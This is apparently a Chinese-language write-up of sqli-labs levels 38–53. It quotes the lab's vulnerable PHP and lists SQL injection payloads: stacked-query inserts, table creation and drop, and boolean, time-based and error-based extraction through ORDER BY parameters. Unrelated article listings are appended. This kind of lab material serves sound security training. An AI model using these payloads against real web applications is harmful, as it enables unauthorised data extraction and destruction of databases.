第三十八关:堆叠注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{ /* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。所以有了堆叠注入。

当然这关,直接用?id=100'union select 1,user(),3--+就可以看到你想看的了。但是这里是练堆叠注入。

payload(向users表中新增数据):

?id=1';insert into users(id,username,password) values('38','less38','38')--+

第三十九关:相比于38关少了一个单引号而已

payload:

?id=1;insert into users(id,username,password) values('39','less39','39')--+

第四十关

payload:

?id=1');insert into users(id,username,password) values('40','less40','40')--+

第四十一关

跟39关的payload一样,不同于39关的是,这一关是盲注,没有报错信息。

第四十二关

login.php

function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname); $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

我们可以看到username是经过mysqli_real_escape_string的转义的,那么就可以从password处进行attack。

用户名随意,密码如下:

1';create table less42 like users#
1';insert into users(id,username,password) values('42','less42','42')#

创建了一个名为less42的表以及写入一条数据

当然,也可以进行删除表的操作1';drop table less42#

第四十三关

这关就是42关的单引号变为单引号加右括号而已,其他的基本没变。

第四十四关

这关跟42关的区别是,这一关是盲注,没有报错信息,其他的一毛一样。

第四十五关

这关与43关的区别是,盲注!!!没有报错信息。

第四十六关:order by注入

$sql = "SELECT * FROM users ORDER BY $id";
?sort=1 asc  //升序排列
?sort=1 desc //降序排列

从上面两个语句的结果可以看出注入点在order by后面的参数中,order by注入不同于where后的注入,其不能使用union等进行注入。

?sort=rand(true)
?sort=rand(false)

上面两个语句返回的不一样,且两个语句各自返回的都是固定的。所有就可以尝试报错注入。

下面是?sort=rand(true)的回显页面:

下面是?sort=rand(false)的回显页面:

‘s'的ascll码为115。所以有了以下的语句:

?sort=rand(ascii(substr(database(),1,1))=115)

回显页面与rand(true)的回显页面一样,所以可以理解为ascii(left(database(),1))=115=true。

当然也可以用其他的报错注入语句:

?sort=rand(left(database(),1)='s')
?sort=rand(left(database(),2)='se')

延时注入:

?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),1)

updatexml:

?sort=1 and updatexml(1,concat(0x23,database()),1)

procedure analyse参数后注入:

?sort=1 procedure analyse(extractvalue(1,concat(0x23,database())),1)

第四十七关

$sql = "SELECT * FROM users ORDER BY '$id'";

在46关的基础上多了一个单引号

?sort=1' and updatexml(1,concat(0x23,database()),1)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

第四十八关

相比于46关,就是报错注入不能使用,因为没有错误回显,其他的都可以使用。

延时注入和rand(sql语句)还可以使用。

第四十九关

同48关,这一关是47关的盲注类型,大致情况和48关差不多,报错注入不能使用。

第五十关

?sort=1;create table less50 like users

大致和42关差不多。

第五十一关

相比于50关,多了一个单引号,并且需要将后面的单引号给注释掉。

?sort=1';create table less51 like users--+

第五十二关

同50关,只是mysql的错误不会在页面上显示了,利用方法同50关。

第五十三关

同51关,只是mysql的错误不会在页面上显示了,利用方法同51关。

sqli-labs之Page-3的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. [linux][MongoDB] mongodb学习(一):MongoDB安装、管理工具、

    参考原文:http://www.cnblogs.com/kaituorensheng/p/5118226.html linux安装完美实现! 1. mongoDB安装.启动.关闭 1.1 下载安装包 ...

  2. 从零开始的计算机网络基础(图文并茂,1.8w字,面试复习必备)

    前言 在互联网高速发展的今天,我们通过手机,电脑等通讯设备可以很轻松达到未出茅庐便知天下事的境界.每天我们都要访问数不胜数的网站,通过打开浏览器,输入网址两步搞定.当然更为常规的做法是打开浏览器,设置 ...

  3. C语言字符数组超细讲解

    看到标题,有不少朋友会想:字符数组不也是数组吗?为什么要单独拿出来讲哩?莫非它是朵奇葩? 哈哈,确实,一起来认识一下这朵数组界的奇葩吧! 一.字符数组的定义.引用.初始化 大家好!我是字符数组,看我的 ...

  4. thinkphp5 input坑

    取值方式改了而已?a1=1&a2=2这种可以用input(get.) a1/1/a2/2 用input('a1')和input('a2') post方法当然是input('post.') 我觉 ...

  5. PHP 把MYSQL重复ID 二维数组重组为三维数组

    应用场景 MYSQL在使用关联查询时,比如 产品表 与 产品图片表关联,一个产品多张产品图片,关联查询结果如下: $arr=[['id'=>1,'img'=>'img1'],['id'=& ...

  6. ajax轮询思路

    以我个人理解 ,ajax短轮询就是用定时器,定时请求数据库,然后把有用的数据做处理 ajax长轮询恩 就是在 ajax回调函数,继续调用ajax请求

  7. MySQL系列(四)

    本章内容: 主从复制 简介原理 Mysql主从同步脚本部署 读写分离 如果主宕机了,怎么办? 双主的情况 MySQL 备份及恢复方案 备份单个及多个数据库 mysqldump 的常用参数 如何增量恢复 ...

  8. QT踩坑记录1-Q_OBJECT编译问题

    QT踩坑记录1-Q_OBJECT编译问题 QTC++Bugs 错误输出 Q_OBJECT 宏错误的地方会编译出现这样的错误, 无法找到.... 由于自己不想再看到这个错误, 此处 复制自 参考连接1, ...

  9. 【Linux常见命令】mv命令

    mv - move (rename) files mv命令用来为文件或目录改名.或将文件或目录移入其它位置. 语法: mv [OPTION]... [-T] SOURCE DEST mv [OPTIO ...

  10. Linux下实现文件共享配置[samba]

    Linux下实现文件共享配置[samba] 第一步:安装samba软件 1.命令:rpm –q samba #查询是否已安装sambayum install samba #使用yum源安装samba, ...